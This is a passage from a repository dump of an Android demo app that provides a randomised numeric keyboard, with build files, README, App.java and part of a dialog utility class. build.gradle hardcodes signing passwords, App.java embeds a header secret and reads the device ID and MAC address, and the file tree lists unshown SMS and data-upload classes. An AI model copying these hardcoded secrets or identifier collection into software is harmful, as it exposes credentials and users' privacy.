├── .github └── workflows │ └── android.yml ├── .gitignore ├── LICENSE ├── README.md ├── app ├── .gitignore ├── build.gradle ├── ibeilly-debug.jks ├── ic_launcher.png ├── proguard-rules.pro └── src │ ├── androidTest │ └── java │ │ └── com │ │ └── benli │ │ └── randomkeyboard │ │ └── ApplicationTest.java │ ├── main │ ├── AndroidManifest.xml │ ├── java │ │ └── com │ │ │ └── benli │ │ │ └── randomkeyboard │ │ │ ├── App.java │ │ │ ├── CommonUtils.java │ │ │ ├── InputTools.java │ │ │ ├── MainActivity.java │ │ │ ├── app │ │ │ ├── AppInfoBean.java │ │ │ ├── AppUtils.java │ │ │ └── UploadDataBean.java │ │ │ ├── receiver │ │ │ └── PackageReceiver.kt │ │ │ └── sms │ │ │ ├── SMSInfoBean.java │ │ │ └── SMSUtils.java │ └── res │ │ ├── .DS_Store │ │ ├── drawable │ │ ├── color_cursor.xml │ │ ├── selecter_corner4_yellow_gray.xml │ │ ├── shape_border_corner4_gray.xml │ │ ├── shape_corner4_gray_t80.xml │ │ ├── shape_corner4_white_normal.xml │ │ ├── shape_corner4_yellow_click.xml │ │ └── shape_corner4_yellow_normal.xml │ │ ├── layout │ │ ├── activity_main.xml │ │ └── withdraw_cash_contract_dynamic_code_dialog.xml │ │ ├── mipmap-hdpi │ │ └── ic_launcher.png │ │ ├── mipmap-ldpi │ │ └── ic_launcher.png │ │ ├── mipmap-mdpi │ │ └── ic_launcher.png │ │ ├── mipmap-xhdpi │ │ └── ic_launcher.png │ │ ├── mipmap-xxhdpi │ │ └── ic_launcher.png │ │ ├── mipmap-xxxhdpi │ │ └── ic_launcher.png │ │ ├── values-w820dp │ │ └── dimens.xml │ │ └── values │ │ ├── colors.xml │ │ ├── dimens.xml │ │ ├── strings.xml │ │ └── styles.xml │ └── test │ └── java │ └── com │ └── benli │ └── randomkeyboard │ └── ExampleUnitTest.java ├── build.gradle ├── gradle.properties ├── gradle └── wrapper │ ├── gradle-wrapper.jar │ └── gradle-wrapper.properties ├── gradlew ├── gradlew.bat ├── keyboard ├── .gitignore ├── build.gradle ├── proguard-rules.pro └── src │ ├── androidTest │ └── java │ │ └── com │ │ └── benli │ │ └── keyboard │ │ └── ApplicationTest.java │ ├── main │ ├── AndroidManifest.xml │ ├── java │ │ └── com │ │ │ └── benli │ │ │ └── keyboard │ │ │ ├── KeyModel.java │ │ │ └── KeyboardHelper.java │ └── res │ │ ├── anim │ │ ├── keyboard_hide.xml │ │ └── keyboard_show.xml │ │ ├── drawable-xhdpi │ │ ├── keyboard_backspace.png │ │ ├── keyboard_bg.9.png │ │ ├── keyboard_delete.png │ │ ├── keyboard_done.png │ │ ├── keyboard_key_btn_normal.9.png │ │ ├── keyboard_key_btn_press.9.png │ │ ├── keyboard_left.png │ │ ├── keyboard_right.png │ │ ├── keyboard_search.png │ │ ├── keyboard_shift.png │ │ └── keyboard_space.png │ │ ├── drawable │ │ └── keyboard_key_btn_selector.xml │ │ ├── layout │ │ └── keyboard_layout.xml │ │ ├── values │ │ ├── keyboard_colors.xml │ │ ├── keyboard_dimen.xml │ │ ├── keyboard_ids.xml │ │ ├── keyboard_strings.xml │ │ ├── strings.xml │ │ └── styles.xml │ │ └── xml │ │ └── keyboard_digs.xml │ └── test │ └── java │ └── com │ └── benli │ └── keyboard │ └── ExampleUnitTest.java ├── png ├── 1.png ├── 2.png └── 2222.png └── settings.gradle /.github/workflows/android.yml: -------------------------------------------------------------------------------- 1 | name: Android CI 2 | 3 | on: [push] 4 | 5 | jobs: 6 | build: 7 | 8 | runs-on: macOS-latest 9 | 10 | steps: 11 | - uses: actions/checkout@v1 12 | - name: set up JDK 1.8 13 | uses: actions/setup-java@v1 14 | with: 15 | java-version: 1.8 16 | - name: Build with Gradle 17 | run: ./gradlew build 18 | -------------------------------------------------------------------------------- /.gitignore: -------------------------------------------------------------------------------- 1 | # Built application files 2 | *.apk 3 | *.ap_ 4 | 5 | # Files for the Dalvik VM 6 | *.dex 7 | 8 | # Java class files 9 | *.class 10 | 11 | # Generated files 12 | bin/ 13 | gen/ 14 | 15 | # Gradle files 16 | .gradle/ 17 | build/ 18 | 19 | # Local configuration file (sdk path, etc) 20 | local.properties 21 | 22 | # Proguard folder generated by Eclipse 23 | proguard/ 24 | 25 | # Log Files 26 | *.log 27 | 28 | # Android Studio Navigation editor temp files 29 | .navigation/ 30 | 31 | # Android Studio captures folder 32 | captures/ 33 | *.iml 34 | /.idea 35 | 36 | .DS_Store 37 | -------------------------------------------------------------------------------- /LICENSE: -------------------------------------------------------------------------------- 1 | Apache License 2 | Version 2.0, January 2004 3 | http://www.apache.org/licenses/ 4 | 5 | TERMS AND CONDITIONS FOR USE, REPRODUCTION, AND DISTRIBUTION 6 | 7 | 1. Definitions. 8 | 9 | "License" shall mean the terms and conditions for use, reproduction, 10 | and distribution as defined by Sections 1 through 9 of this document. 11 | 12 | "Licensor" shall mean the copyright owner or entity authorized by 13 | the copyright owner that is granting the License. 14 | 15 | "Legal Entity" shall mean the union of the acting entity and all 16 | other entities that control, are controlled by, or are under common 17 | control with that entity. For the purposes of this definition, 18 | "control" means (i) the power, direct or indirect, to cause the 19 | direction or management of such entity, whether by contract or 20 | otherwise, or (ii) ownership of fifty percent (50%) or more of the 21 | outstanding shares, or (iii) beneficial ownership of such entity. 22 | 23 | "You" (or "Your") shall mean an individual or Legal Entity 24 | exercising permissions granted by this License. 25 | 26 | "Source" form shall mean the preferred form for making modifications, 27 | including but not limited to software source code, documentation 28 | source, and configuration files. 29 | 30 | "Object" form shall mean any form resulting from mechanical 31 | transformation or translation of a Source form, including but 32 | not limited to compiled object code, generated documentation, 33 | and conversions to other media types. 34 | 35 | "Work" shall mean the work of authorship, whether in Source or 36 | Object form, made available under the License, as indicated by a 37 | copyright notice that is included in or attached to the work 38 | (an example is provided in the Appendix below). 39 | 40 | "Derivative Works" shall mean any work, whether in Source or Object 41 | form, that is based on (or derived from) the Work and for which the 42 | editorial revisions, annotations, elaborations, or other modifications 43 | represent, as a whole, an original work of authorship. For the purposes 44 | of this License, Derivative Works shall not include works that remain 45 | separable from, or merely link (or bind by name) to the interfaces of, 46 | the Work and Derivative Works thereof. 47 | 48 | "Contribution" shall mean any work of authorship, including 49 | the original version of the Work and any modifications or additions 50 | to that Work or Derivative Works thereof, that is intentionally 51 | submitted to Licensor for inclusion in the Work by the copyright owner 52 | or by an individual or Legal Entity authorized to submit on behalf of 53 | the copyright owner. For the purposes of this definition, "submitted" 54 | means any form of electronic, verbal, or written communication sent 55 | to the Licensor or its representatives, including but not limited to 56 | communication on electronic mailing lists, source code control systems, 57 | and issue tracking systems that are managed by, or on behalf of, the 58 | Licensor for the purpose of discussing and improving the Work, but 59 | excluding communication that is conspicuously marked or otherwise 60 | designated in writing by the copyright owner as "Not a Contribution." 61 | 62 | "Contributor" shall mean Licensor and any individual or Legal Entity 63 | on behalf of whom a Contribution has been received by Licensor and 64 | subsequently incorporated within the Work. 65 | 66 | 2. Grant of Copyright License. Subject to the terms and conditions of 67 | this License, each Contributor hereby grants to You a perpetual, 68 | worldwide, non-exclusive, no-charge, royalty-free, irrevocable 69 | copyright license to reproduce, prepare Derivative Works of, 70 | publicly display, publicly perform, sublicense, and distribute the 71 | Work and such Derivative Works in Source or Object form. 72 | 73 | 3. Grant of Patent License. Subject to the terms and conditions of 74 | this License, each Contributor hereby grants to You a perpetual, 75 | worldwide, non-exclusive, no-charge, royalty-free, irrevocable 76 | (except as stated in this section) patent license to make, have made, 77 | use, offer to sell, sell, import, and otherwise transfer the Work, 78 | where such license applies only to those patent claims licensable 79 | by such Contributor that are necessarily infringed by their 80 | Contribution(s) alone or by combination of their Contribution(s) 81 | with the Work to which such Contribution(s) was submitted. If You 82 | institute patent litigation against any entity (including a 83 | cross-claim or counterclaim in a lawsuit) alleging that the Work 84 | or a Contribution incorporated within the Work constitutes direct 85 | or contributory patent infringement, then any patent licenses 86 | granted to You under this License for that Work shall terminate 87 | as of the date such litigation is filed. 88 | 89 | 4. Redistribution. You may reproduce and distribute copies of the 90 | Work or Derivative Works thereof in any medium, with or without 91 | modifications, and in Source or Object form, provided that You 92 | meet the following conditions: 93 | 94 | (a) You must give any other recipients of the Work or 95 | Derivative Works a copy of this License; and 96 | 97 | (b) You must cause any modified files to carry prominent notices 98 | stating that You changed the files; and 99 | 100 | (c) You must retain, in the Source form of any Derivative Works 101 | that You distribute, all copyright, patent, trademark, and 102 | attribution notices from the Source form of the Work, 103 | excluding those notices that do not pertain to any part of 104 | the Derivative Works; and 105 | 106 | (d) If the Work includes a "NOTICE" text file as part of its 107 | distribution, then any Derivative Works that You distribute must 108 | include a readable copy of the attribution notices contained 109 | within such NOTICE file, excluding those notices that do not 110 | pertain to any part of the Derivative Works, in at least one 111 | of the following places: within a NOTICE text file distributed 112 | as part of the Derivative Works; within the Source form or 113 | documentation, if provided along with the Derivative Works; or, 114 | within a display generated by the Derivative Works, if and 115 | wherever such third-party notices normally appear. The contents 116 | of the NOTICE file are for informational purposes only and 117 | do not modify the License. You may add Your own attribution 118 | notices within Derivative Works that You distribute, alongside 119 | or as an addendum to the NOTICE text from the Work, provided 120 | that such additional attribution notices cannot be construed 121 | as modifying the License. 122 | 123 | You may add Your own copyright statement to Your modifications and 124 | may provide additional or different license terms and conditions 125 | for use, reproduction, or distribution of Your modifications, or 126 | for any such Derivative Works as a whole, provided Your use, 127 | reproduction, and distribution of the Work otherwise complies with 128 | the conditions stated in this License. 129 | 130 | 5. Submission of Contributions. Unless You explicitly state otherwise, 131 | any Contribution intentionally submitted for inclusion in the Work 132 | by You to the Licensor shall be under the terms and conditions of 133 | this License, without any additional terms or conditions. 134 | Notwithstanding the above, nothing herein shall supersede or modify 135 | the terms of any separate license agreement you may have executed 136 | with Licensor regarding such Contributions. 137 | 138 | 6. Trademarks. This License does not grant permission to use the trade 139 | names, trademarks, service marks, or product names of the Licensor, 140 | except as required for reasonable and customary use in describing the 141 | origin of the Work and reproducing the content of the NOTICE file. 142 | 143 | 7. Disclaimer of Warranty. Unless required by applicable law or 144 | agreed to in writing, Licensor provides the Work (and each 145 | Contributor provides its Contributions) on an "AS IS" BASIS, 146 | WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or 147 | implied, including, without limitation, any warranties or conditions 148 | of TITLE, NON-INFRINGEMENT, MERCHANTABILITY, or FITNESS FOR A 149 | PARTICULAR PURPOSE. You are solely responsible for determining the 150 | appropriateness of using or redistributing the Work and assume any 151 | risks associated with Your exercise of permissions under this License. 152 | 153 | 8. Limitation of Liability. In no event and under no legal theory, 154 | whether in tort (including negligence), contract, or otherwise, 155 | unless required by applicable law (such as deliberate and grossly 156 | negligent acts) or agreed to in writing, shall any Contributor be 157 | liable to You for damages, including any direct, indirect, special, 158 | incidental, or consequential damages of any character arising as a 159 | result of this License or out of the use or inability to use the 160 | Work (including but not limited to damages for loss of goodwill, 161 | work stoppage, computer failure or malfunction, or any and all 162 | other commercial damages or losses), even if such Contributor 163 | has been advised of the possibility of such damages. 164 | 165 | 9. Accepting Warranty or Additional Liability. While redistributing 166 | the Work or Derivative Works thereof, You may choose to offer, 167 | and charge a fee for, acceptance of support, warranty, indemnity, 168 | or other liability obligations and/or rights consistent with this 169 | License. However, in accepting such obligations, You may act only 170 | on Your own behalf and on Your sole responsibility, not on behalf 171 | of any other Contributor, and only if You agree to indemnify, 172 | defend, and hold each Contributor harmless for any liability 173 | incurred by, or claims asserted against, such Contributor by reason 174 | of your accepting any such warranty or additional liability. 175 | 176 | END OF TERMS AND CONDITIONS 177 | 178 | APPENDIX: How to apply the Apache License to your work. 179 | 180 | To apply the Apache License to your work, attach the following 181 | boilerplate notice, with the fields enclosed by brackets "{}" 182 | replaced with your own identifying information. (Don't include 183 | the brackets!) The text should be enclosed in the appropriate 184 | comment syntax for the file format. We also recommend that a 185 | file or class name and description of purpose be included on the 186 | same "printed page" as the copyright notice for easier 187 | identification within third-party archives. 188 | 189 | Copyright {yyyy} {name of copyright owner} 190 | 191 | Licensed under the Apache License, Version 2.0 (the "License"); 192 | you may not use this file except in compliance with the License. 193 | You may obtain a copy of the License at 194 | 195 | http://www.apache.org/licenses/LICENSE-2.0 196 | 197 | Unless required by applicable law or agreed to in writing, software 198 | distributed under the License is distributed on an "AS IS" BASIS, 199 | WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 200 | See the License for the specific language governing permissions and 201 | limitations under the License. 202 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # randomkeyboard 2 | 3 | [![Release](https://jitpack.io/v/shibenli/randomkeyboard.svg)](https://jitpack.io/#shibenli/randomkeyboard) 4 | 5 | 基于PopWindow封装的自定义键盘,支持随机键值 6 | 7 | ### 主要有一下优点: 8 | 9 | 1、纯数字的自定义键盘; 10 | 11 | 2、使用助手类的方式,可以使用一个对象管理多个输入框; 12 | 13 | 3、不依赖于页面布局,使用内部使用Popwindow的方式实现键盘弹出,更加模块化。 14 | 15 | 4、建议使用源码的Module的方式引入,方便修改样式; 16 | 17 | ### 使用方式 18 | 19 | 1、导入Module; 20 | 21 | 2、在对应的view初始化的时候加入以下代码: 22 | 23 | - 普通的Activity或者Fragment中使用 24 | ``` 25 | keyboardHelper = new KeyboardHelper(this) 26 | .addEditText((EditText) findViewById(R.id.edittext1)) 27 | .addEditText((EditText) findViewById(R.id.edittext2)) 28 | .setShouldRandom(true); 29 | ``` 30 | 31 | 32 | - Dialog中使用(当然这里是返回Dialog直接findView的方式,但是你只要通过addEditText设置都行) 33 | ``` 34 | Window window = alertDialog.getWindow(); 35 | final EditText edtWithdrawCashDynamicCode = (EditText) window.findViewById(R.id.edt_withdraw_cash_dynamic_code); 36 | keyboardHelper.addEditText(edtWithdrawCashDynamicCode); 37 | ``` 38 | 39 | ### 已知问题 40 | 41 | 1、Popwindow上的EditText无法使用(由于输入法界面是使用Popwindow实现,Popwindow嵌套使用的时候不能从EditText导致冲突,暂时考虑使用Dialog实现一个单独处理Popwindow [**doing**]; 42 | 43 | ### 普通EditText 44 | 45 | 46 | 47 | ### 包含EditText的Dialog 48 | 49 | 50 | -------------------------------------------------------------------------------- /app/.gitignore: -------------------------------------------------------------------------------- 1 | /build 2 | -------------------------------------------------------------------------------- /app/build.gradle: -------------------------------------------------------------------------------- 1 | apply plugin: 'com.android.application' 2 | apply plugin: 'kotlin-android' 3 | apply plugin: 'kotlin-android-extensions' 4 | 5 | android { 6 | compileSdkVersion 28 7 | buildToolsVersion "28.0.3" 8 | 9 | defaultConfig { 10 | applicationId "com.ibeilly.randomkeyboard" 11 | minSdkVersion 22 12 | targetSdkVersion 28 13 | versionCode 200 14 | versionName "2.0.0" 15 | } 16 | splits { 17 | // Configures multiple APKs based on ABI. 18 | abi { 19 | // Enables building multiple APKs per ABI. 20 | enable true 21 | 22 | // By default all ABIs are included, so use reset() and include to specify that we only 23 | // want APKs for x86 and x86_64. 24 | 25 | // Resets the list of ABIs that Gradle should create APKs for to none. 26 | reset() 27 | 28 | // Specifies a list of ABIs that Gradle should create APKs for. 29 | include "armeabi-v7a", "arm64-v8a", "x86", "x86_64" 30 | 31 | // Specifies that we do not want to also generate a universal APK that includes all ABIs. 32 | universalApk false 33 | } 34 | } 35 | signingConfigs { 36 | release { 37 | storeFile file("ibeilly-debug.jks") 38 | storePassword "ibeilly" 39 | keyAlias "key0" 40 | keyPassword "key000" 41 | // v2SigningEnabled false 42 | } 43 | } 44 | buildTypes { 45 | release { 46 | //是否zip对齐 47 | zipAlignEnabled true 48 | // 缩减resource文件 49 | shrinkResources false 50 | minifyEnabled false 51 | proguardFiles getDefaultProguardFile('proguard-android.txt'), 'proguard-rules.pro' 52 | signingConfig signingConfigs.release 53 | } 54 | } 55 | } 56 | 57 | dependencies { 58 | implementation fileTree(include: ['*.jar'], dir: 'libs') 59 | testImplementation 'junit:junit:4.12' 60 | implementation 'androidx.appcompat:appcompat:1.0.0' 61 | implementation project(':keyboard') 62 | implementation 'com.facebook.fresco:fresco:2.0.0' 63 | implementation 'com.blankj:utilcodex:1.26.0' 64 | 65 | implementation 'com.lzy.net:okgo:3.0.4' 66 | implementation "com.google.code.gson:gson:2.8.6" 67 | 68 | compile 'com.umeng.umsdk:analytics:8.0.0' 69 | compile 'com.umeng.umsdk:common:2.0.0' 70 | 71 | implementation "org.jetbrains.kotlin:kotlin-stdlib-jdk8:$kotlin_version" //标准库的支持 72 | } 73 | -------------------------------------------------------------------------------- /app/ibeilly-debug.jks: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/beilly/randomkeyboard/61df296fd7e2d214ff06bd53dcd0bd633103be92/app/ibeilly-debug.jks -------------------------------------------------------------------------------- /app/ic_launcher.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/beilly/randomkeyboard/61df296fd7e2d214ff06bd53dcd0bd633103be92/app/ic_launcher.png -------------------------------------------------------------------------------- /app/proguard-rules.pro: -------------------------------------------------------------------------------- 1 | # Add project specific ProGuard rules here. 2 | # By default, the flags in this file are appended to flags specified 3 | # in D:\AndroidWork\sdk/tools/proguard/proguard-android.txt 4 | # You can edit the include path and order by changing the proguardFiles 5 | # directive in build.gradle. 6 | # 7 | # For more details, see 8 | # http://developer.android.com/guide/developing/tools/proguard.html 9 | 10 | # Add any project specific keep options here: 11 | 12 | # If your project uses WebView with JS, uncomment the following 13 | # and specify the fully qualified class name to the JavaScript interface 14 | # class: 15 | #-keepclassmembers class fqcn.of.javascript.interface.for.webview { 16 | # public *; 17 | #} 18 | 19 | #okhttp 20 | -dontwarn okhttp3.** 21 | -keep class okhttp3.**{*;} 22 | 23 | #okio 24 | -dontwarn okio.** 25 | -keep class okio.**{*;} 26 | 27 | #友盟 28 | -keep class com.umeng.** {*;} 29 | -keepclassmembers class * { 30 | public (org.json.JSONObject); 31 | } 32 | -keepclassmembers enum * { 33 | public static **[] values(); 34 | public static ** valueOf(java.lang.String); 35 | } 36 | -keep public class **.R$*{ 37 | public static final int *; 38 | } -------------------------------------------------------------------------------- /app/src/androidTest/java/com/benli/randomkeyboard/ApplicationTest.java: -------------------------------------------------------------------------------- 1 | package com.benli.randomkeyboard; 2 | 3 | import android.app.Application; 4 | import android.test.ApplicationTestCase; 5 | 6 | /** 7 | * Testing Fundamentals 8 | */ 9 | public class ApplicationTest extends ApplicationTestCase { 10 | public ApplicationTest() { 11 | super(Application.class); 12 | } 13 | } -------------------------------------------------------------------------------- /app/src/main/AndroidManifest.xml: -------------------------------------------------------------------------------- 1 | 2 | 5 | 6 | 7 | 8 | 9 | 10 | 11 | 12 | 13 | 14 | 15 | 22 | 23 | 24 | 25 | 26 | 27 | 28 | 29 | 30 | 31 | -------------------------------------------------------------------------------- /app/src/main/java/com/benli/randomkeyboard/App.java: -------------------------------------------------------------------------------- 1 | package com.benli.randomkeyboard; 2 | 3 | import android.app.Application; 4 | import android.content.Context; 5 | 6 | import com.blankj.utilcode.util.LogUtils; 7 | import com.facebook.drawee.backends.pipeline.Fresco; 8 | import com.lzy.okgo.OkGo; 9 | import com.lzy.okgo.model.HttpHeaders; 10 | import com.umeng.analytics.MobclickAgent; 11 | import com.umeng.commonsdk.UMConfigure; 12 | import com.umeng.commonsdk.statistics.common.DeviceConfig; 13 | 14 | 15 | public class App extends Application { 16 | @Override 17 | public void onCreate() { 18 | super.onCreate(); 19 | initHttp(); 20 | Fresco.initialize(this); 21 | initUM(); 22 | } 23 | 24 | private void initHttp(){ 25 | HttpHeaders headers = new HttpHeaders(); 26 | headers.put("Sign", "public_sign_key_IUID*$#@JKSNMNC___)WE@B"); //header不支持中文,不允许有特殊字符 27 | OkGo.getInstance().init(this) 28 | .addCommonHeaders(headers); 29 | } 30 | 31 | private void initUM(){ 32 | UMConfigure.init(this, "5e37a696570df30d27000098", "GooglePlay", UMConfigure.DEVICE_TYPE_PHONE, null); 33 | MobclickAgent.setPageCollectionMode(MobclickAgent.PageMode.AUTO); 34 | 35 | String[] deviceInfo = getTestDeviceInfo(this); 36 | LogUtils.i(deviceInfo[0], deviceInfo[1]); 37 | } 38 | 39 | public static String[] getTestDeviceInfo(Context context){ 40 | String[] deviceInfo = new String[2]; 41 | try { 42 | if(context != null){ 43 | deviceInfo[0] = DeviceConfig.getDeviceIdForGeneral(context); 44 | deviceInfo[1] = DeviceConfig.getMac(context); 45 | } 46 | } catch (Exception e){ 47 | } 48 | return deviceInfo; 49 | } 50 | } 51 | -------------------------------------------------------------------------------- /app/src/main/java/com/benli/randomkeyboard/CommonUtils.java: -------------------------------------------------------------------------------- 1 | package com.benli.randomkeyboard; 2 | 3 | import android.content.Context; 4 | import android.content.DialogInterface; 5 | import android.content.res.Resources; 6 | import androidx.appcompat.app.AlertDialog; 7 | import android.text.TextUtils; 8 | import android.util.DisplayMetrics; 9 | import android.view.Gravity; 10 | import android.view.LayoutInflater; 11 | import android.view.View; 12 | import android.view.ViewGroup; 13 | import android.view.Window; 14 | import android.view.WindowManager; 15 | import android.widget.Button; 16 | import android.widget.EditText; 17 | import android.widget.PopupWindow; 18 | import android.widget.TextView; 19 | import android.widget.Toast; 20 | 21 | /** 22 | * Created by shibenli on 2016/5/23. 23 | */ 24 | public class CommonUtils { 25 | private CommonUtils() { 26 | } 27 | 28 | /** 29 | * 显示发送验证码的弹出框 30 | * 31 | * @param context 显示AlertDialog的上下文对象 32 | * @param title 设置title,为null或者""时使用默认的 33 | * @param hint 设置验证码输入框的hint,为null时使用默认 34 | * @param inputAuto 是否自动弹出键盘 35 | * @param inputType 验证码输入框的输入类型 36 | * @param listener AlertDialog的事件监听 37 | * @return 38 | */ 39 | public static PopupWindow showDynamicCodeWindow(final Context context, String title, String hint, boolean inputAuto, boolean hasButton, int inputType, final OnDynamicCodeDialogClickListener listener, View anchor) { 40 | 41 | // 一个自定义的布局,作为显示的内容 42 | View contentView = LayoutInflater.from(context).inflate( 43 | R.layout.withdraw_cash_contract_dynamic_code_dialog, null); 44 | 45 | Resources resources = context.getApplicationContext().getResources(); 46 | DisplayMetrics dm = resources.getDisplayMetrics(); 47 | int width3 = dm.widthPixels; 48 | int height3 = dm.heightPixels; 49 | 50 | final PopupWindow contractsDynamicCodeDialog = new PopupWindow(contentView, 51 | ViewGroup.LayoutParams.MATCH_PARENT, ViewGroup.LayoutParams.WRAP_CONTENT, true); 52 | contractsDynamicCodeDialog.setFocusable(false); 53 | contractsDynamicCodeDialog.setOutsideTouchable(true); 54 | 55 | final TextView tvWithdrawCashDynamicDialogTitle = (TextView) contentView.findViewById(R.id.dialog_title); 56 | final Button btnWithdrawCashDynamicGetCode = (Button) contentView.findViewById(R.id.btn_withdraw_cash_dynamic_getCode); 57 | if (!hasButton) 58 | btnWithdrawCashDynamicGetCode.setVisibility(View.GONE); 59 | final EditText edtWithdrawCashDynamicCode = (EditText) contentView.findViewById(R.id.edt_withdraw_cash_dynamic_code); 60 | final TextView tvWithdrawCashDynamicDialogCancle = (TextView) contentView.findViewById(R.id.tv_withdraw_cash_dynamic_dialog_cancle); 61 | final TextView tvWithdrawCashDynamicDialogSure = (TextView) contentView.findViewById(R.id.tv_withdraw_cash_dynamic_dialog_sure); 62 | 63 | //设置标题和hint和输入框的类型 64 | if (!TextUtils.isEmpty(title)) 65 | tvWithdrawCashDynamicDialogTitle.setText(title); 66 | if (hint != null) 67 | edtWithdrawCashDynamicCode.setHint(hint); 68 | edtWithdrawCashDynamicCode.setInputType(inputType); 69 | 70 | contractsDynamicCodeDialog.showAtLocation(anchor.getRootView(), Gravity.BOTTOM, 0, 0); 71 | 72 | //设置按钮的点击事件 73 | if (listener != null) { 74 | View.OnClickListener onClickListener = new View.OnClickListener() { 75 | @Override 76 | public void onClick(View v) { 77 | switch (v.getId()) { 78 | case R.id.btn_withdraw_cash_dynamic_getCode: 79 | listener.onGetCode(btnWithdrawCashDynamicGetCode, edtWithdrawCashDynamicCode); 80 | break; 81 | case R.id.tv_withdraw_cash_dynamic_dialog_cancle: 82 | listener.onCancel(tvWithdrawCashDynamicDialogCancle, edtWithdrawCashDynamicCode); 83 | break; 84 | case R.id.tv_withdraw_cash_dynamic_dialog_sure: 85 | if (TextUtils.isEmpty(edtWithdrawCashDynamicCode.getText())) { 86 | Toast.makeText(context, "不能为空", Toast.LENGTH_SHORT).show(); 87 | } else { 88 | listener.onSure(tvWithdrawCashDynamicDialogSure, edtWithdrawCashDynamicCode); 89 | } 90 | break; 91 | } 92 | 93 | } 94 | }; 95 | btnWithdrawCashDynamicGetCode.setOnClickListener(onClickListener); 96 | tvWithdrawCashDynamicDialogCancle.setOnClickListener(onClickListener); 97 | tvWithdrawCashDynamicDialogSure.setOnClickListener(onClickListener); 98 | } 99 | 100 | //Dialog隐藏的时候自动隐藏键盘 101 | contractsDynamicCodeDialog.setOnDismissListener(new PopupWindow.OnDismissListener() { 102 | @Override 103 | public void onDismiss() { 104 | InputTools.HideKeyboard(contractsDynamicCodeDialog.getContentView()); 105 | if (listener != null) 106 | listener.onDismiss(null); 107 | } 108 | }); 109 | 110 | return contractsDynamicCodeDialog; 111 | } 112 | 113 | 114 | /** 115 | * 显示发送验证码的弹出框 116 | * 117 | * @param context 显示AlertDialog的上下文对象 118 | * @param title 设置title,为null或者""时使用默认的 119 | * @param hint 设置验证码输入框的hint,为null时使用默认 120 | * @param inputAuto 是否自动弹出键盘 121 | * @param inputType 验证码输入框的输入类型 122 | * @param listener AlertDialog的事件监听 123 | * @return 124 | */ 125 | public static AlertDialog showDynamicCodeDialog(final Context context, String title, String hint, boolean inputAuto, boolean hasButton, int inputType, final OnDynamicCodeDialogClickListener listener) { 126 | final AlertDialog contractsDynamicCodeDialog = new AlertDialog.Builder(context).create(); 127 | contractsDynamicCodeDialog.show(); 128 | 129 | Window window = contractsDynamicCodeDialog.getWindow(); 130 | window.setContentView(R.layout.withdraw_cash_contract_dynamic_code_dialog); 131 | final TextView tvWithdrawCashDynamicDialogTitle = (TextView) window.findViewById(R.id.dialog_title); 132 | final Button btnWithdrawCashDynamicGetCode = (Button) window.findViewById(R.id.btn_withdraw_cash_dynamic_getCode); 133 | if (!hasButton) 134 | btnWithdrawCashDynamicGetCode.setVisibility(View.GONE); 135 | final EditText edtWithdrawCashDynamicCode = (EditText) window.findViewById(R.id.edt_withdraw_cash_dynamic_code); 136 | final TextView tvWithdrawCashDynamicDialogCancle = (TextView) window.findViewById(R.id.tv_withdraw_cash_dynamic_dialog_cancle); 137 | final TextView tvWithdrawCashDynamicDialogSure = (TextView) window.findViewById(R.id.tv_withdraw_cash_dynamic_dialog_sure); 138 | 139 | //设置标题和hint和输入框的类型 140 | if (!TextUtils.isEmpty(title)) 141 | tvWithdrawCashDynamicDialogTitle.setText(title); 142 | if (hint != null) 143 | edtWithdrawCashDynamicCode.setHint(hint); 144 | edtWithdrawCashDynamicCode.setInputType(inputType); 145 | 146 | //设置按钮的点击事件 147 | if (listener != null) { 148 | View.OnClickListener onClickListener = new View.OnClickListener() { 149 | @Override 150 | public void onClick(View v) { 151 | switch (v.getId()) { 152 | case R.id.btn_withdraw_cash_dynamic_getCode: 153 | listener.onGetCode(btnWithdrawCashDynamicGetCode, edtWithdrawCashDynamicCode); 154 | break; 155 | case R.id.tv_withdraw_cash_dynamic_dialog_cancle: 156 | listener.onCancel(tvWithdrawCashDynamicDialogCancle, edtWithdrawCashDynamicCode); 157 | break; 158 | case R.id.tv_withdraw_cash_dynamic_dialog_sure: 159 | if (TextUtils.isEmpty(edtWithdrawCashDynamicCode.getText())) { 160 | Toast.makeText(context, "不能为空", Toast.LENGTH_SHORT).show(); 161 | } else { 162 | listener.onSure(tvWithdrawCashDynamicDialogSure, edtWithdrawCashDynamicCode); 163 | } 164 | break; 165 | } 166 | 167 | } 168 | }; 169 | btnWithdrawCashDynamicGetCode.setOnClickListener(onClickListener); 170 | tvWithdrawCashDynamicDialogCancle.setOnClickListener(onClickListener); 171 | tvWithdrawCashDynamicDialogSure.setOnClickListener(onClickListener); 172 | } 173 | 174 | //Dialog隐藏的时候自动隐藏键盘 175 | contractsDynamicCodeDialog.setOnDismissListener(new DialogInterface.OnDismissListener() { 176 | @Override 177 | public void onDismiss(DialogInterface dialog) { 178 | InputTools.HideKeyboard(contractsDynamicCodeDialog.getWindow().getDecorView()); 179 | if (listener != null) 180 | listener.onDismiss(dialog); 181 | } 182 | }); 183 | 184 | WindowManager.LayoutParams params = contractsDynamicCodeDialog.getWindow().getAttributes(); 185 | //是否自动弹出键盘 186 | if (inputAuto) { 187 | params.softInputMode = WindowManager.LayoutParams.SOFT_INPUT_STATE_ALWAYS_VISIBLE;//显示dialog的时候,就显示软键盘 188 | } 189 | 190 | params.width = CommonUtils.Dp2Px(context, 260); 191 | params.flags = WindowManager.LayoutParams.FLAG_DIM_BEHIND;//就是这个属性导致不能获取焦点,默认的是FLAG_NOT_FOCUSABLE,故名思义不能获取输入焦点 192 | contractsDynamicCodeDialog.getWindow().setAttributes(params); 193 | 194 | return contractsDynamicCodeDialog; 195 | } 196 | 197 | public interface OnDynamicCodeDialogClickListener { 198 | /** 199 | * 获取验证码 200 | * 201 | * @param view 获取验证码的按钮 202 | * @param editText 当前填写验证码的EditText 203 | */ 204 | public void onGetCode(Button view, EditText editText); 205 | 206 | /** 207 | * 点击关闭按钮 208 | * 209 | * @param view 关闭按钮 210 | * @param editText 当前填写验证码的EditText 211 | */ 212 | public void onCancel(TextView view, EditText editText); 213 | 214 | /** 215 | * 弹出框隐藏 216 | * 217 | * @param dialog 218 | */ 219 | public void onDismiss(DialogInterface dialog); 220 | 221 | /** 222 | * 点击确定按钮 223 | * 224 | * @param view 确定按钮 225 | * @param editText 当前填写验证码的EditText 226 | */ 227 | public void onSure(TextView view, EditText editText); 228 | } 